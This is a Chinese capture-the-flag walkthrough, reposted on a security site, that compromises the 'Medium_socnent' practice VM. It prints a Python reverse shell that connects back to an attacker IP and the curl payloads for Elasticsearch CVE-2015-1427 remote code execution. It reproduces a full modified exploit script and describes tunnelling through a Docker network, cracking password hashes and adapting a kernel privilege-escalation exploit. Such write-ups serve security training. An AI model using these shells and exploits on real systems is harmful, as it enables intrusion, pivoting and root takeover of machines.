Medium_socnent靶机打靶

admin 2022年11月11日18:51:28SecIN安全技术社区Medium_socnent靶机打靶已关闭评论6 views3011字阅读10分2秒阅读模式

难度:中等

涉及到的知识点

主机发现
端口扫描
服务发现
路径爬取
代码注入
Shell脚本
内网信息收集
内网穿透
漏洞利用与exp修改
密码破解
本地提权
攻击代码修改

Medium_socnent靶机打靶

发现主机

arp-scan -l

Medium_socnent靶机打靶

确定192.168.229.147为靶机ip

扫描端口

Medium_socnent靶机打靶

查看端口详细信息

Medium_socnent靶机打靶

百度发现werkzeug是一个python的web框架,访问192.168.229.147:5000!

Medium_socnent靶机打靶

经过测试没有发现有价值信息,使用dirsearch扫描目录

Medium_socnent靶机打靶

访问admin目录,网页提示可以执行exec,因为是python框架,执行python反弹shell命令

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.229.132",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

nc开启监听

Medium_socnent靶机打靶

shell反弹成功发现是root权限

Medium_socnent靶机打靶

但是中等难度靶机哪有这么简单,ls发现具有dockerfile,说明可能是docker容器系统

Medium_socnent靶机打靶

以下两条命令通过,说明百分之百是docker系统搭建的环境

/.dockerenv
cat /proc/1/cgroup

Medium_socnent靶机打靶

Medium_socnent靶机打靶

查看ip地址发现存在另一个网段

Medium_socnent靶机打靶

使用shell编程ping内网主机

Medium_socnent靶机打靶

使用Venom建立内网隧道

python开启80端口准备上传agent端给靶机

Medium_socnent靶机打靶

admin端开启监听

Medium_socnent靶机打靶

靶机下载agent,给予执行权限,运行

Medium_socnent靶机打靶

admin端接收到信息,并且开启socks代理

Medium_socnent靶机打靶

修改proxychains配置文件

Medium_socnent靶机打靶

使用nmap进行端口扫描

proxychains nmap -Pn -sT ip

Medium_socnent靶机打靶

对172.17.0.1扫描,发现5000端口,浏览器配置socks代理后进行访问

Medium_socnent靶机打靶

发现与192.168.227.147完全相同,说明这个ip是面向docker的ip

扫描172.17.0.3

Medium_socnent靶机打靶

进行端口进一步探测

Medium_socnent靶机打靶

Elasticsearch是一个搜索引擎,搜索是否存在漏洞

Medium_socnent靶机打靶

使用36337.py,vi发现是python2脚本

Medium_socnent靶机打靶

使用python2运行

Medium_socnent靶机打靶

直接运行,exp会出错,经过搜索终于在 Github 找到失败原因,原因是服务里面没有数据,所以不能通过search来搜索进而执行命令

添加一条数据

proxychains curl -XPUT 'http://172.17.0.3:9200/twitter/user/yren' -d '{ "name" : "Wu" }'

执行命令

proxychains curl -XPOST 'http://172.17.0.3:9200/_search?pretty' -d '{"script_fields": {"payload": {"script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"whoami\").getText()"}}}'

Medium_socnent靶机打靶

使用exp再次执行发现成功

Medium_socnent靶机打靶

也可以用修改exp的方法达到一劳永逸的方式,添加一个InsertData函数即可

Medium_socnent靶机打靶

exp完整源码:

```

!/bin/python2

coding: utf-8

Author: Darren Martyn, Xiphos Research Ltd.

Version: 20150309.1

Licence: WTFPL - wtfpl.net

import json
import requests
import sys
import readline
import requests
readline.parse_and_bind('tab: complete')
readline.parse_and_bind('set editing-mode vi')
version = "20150309.1"

def banner():
print """\x1b[1;32m

Exploit for ElasticSearch , CVE-2015-1427 Version: %s\x1b[0m""" %(version)

def execute_command(target, command):
payload = """{"size":1, "script_fields": {"lupin":{"script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"%s\").getText()"}}}""" %(command)
try:
url = "http://%s:9200/_search?pretty" %(target)
r = requests.post(url=url, data=payload)
except Exception, e:
sys.exit("Exception Hit"+str(e))
values = json.loads(r.text)
fuckingjson = values['hits']['hits'][0]['fields']['lupin'][0]
print fuckingjson.strip()

def InsertData(target):
data='{ "name" : "Wu" }'
requests.post("http://%s:9200/twitter/user/yren"%(target),data=data)

def exploit(target):
InsertData(target)
print "{*} Spawning Shell on target... Do note, its only semi-interactive... Use it to drop a better payload or something"
while True:
cmd = raw_input("~$ ")
if cmd == "exit":
sys.exit("{!} Shell exiting!")
else:
execute_command(target=target, command=cmd)

def main(args):
banner()
if len(args) != 2:
sys.exit("Use: %s target" %(args[0]))
exploit(target=args[1])

if name == "main":
main(args=sys.argv)
```

Medium_socnent靶机打靶

利用exp获取root权限,ls查看目录下文件,发现passwords

Medium_socnent靶机打靶

读取passwords

Medium_socnent靶机打靶

去网站md5解密

Medium_socnent靶机打靶

经过测试只有john账号可以ssh连接,ssh连接到宿主机

Medium_socnent靶机打靶

uname-a发现linux版本很低,寻找漏洞提权

Medium_socnent靶机打靶

Medium_socnent靶机打靶

拷贝出漏洞,我们发现他为c语言的源代码需要gcc编译,但是靶机没有gcc,于是我们需要用kali提前编译

Medium_socnent靶机打靶

但是这里有一段代码,执行的时候会再次执行gcc命令,但是靶机没有gcc,于是我们也需要自己修改exp

Medium_socnent靶机打靶

将代码中生成so文件的代码取消(打上注释)

Medium_socnent靶机打靶

使用gcc将文件编译,warning忽略

Medium_socnent靶机打靶

尝试在kali种搜索源码中需要的文件

Medium_socnent靶机打靶

找到并复制出来

Medium_socnent靶机打靶

python开启服务器,让靶机下载exp和so文件

Medium_socnent靶机打靶

Medium_socnent靶机打靶

因为源码中的os是在tmp文件于是用命令将exp和os转移到tmp

mv * /tmp/

赋予exp可执行权限,运行exp成功提权

Medium_socnent靶机打靶

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月11日18:51:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  Medium_socnent靶机打靶 http://cn-sec.com/archives/1353458.html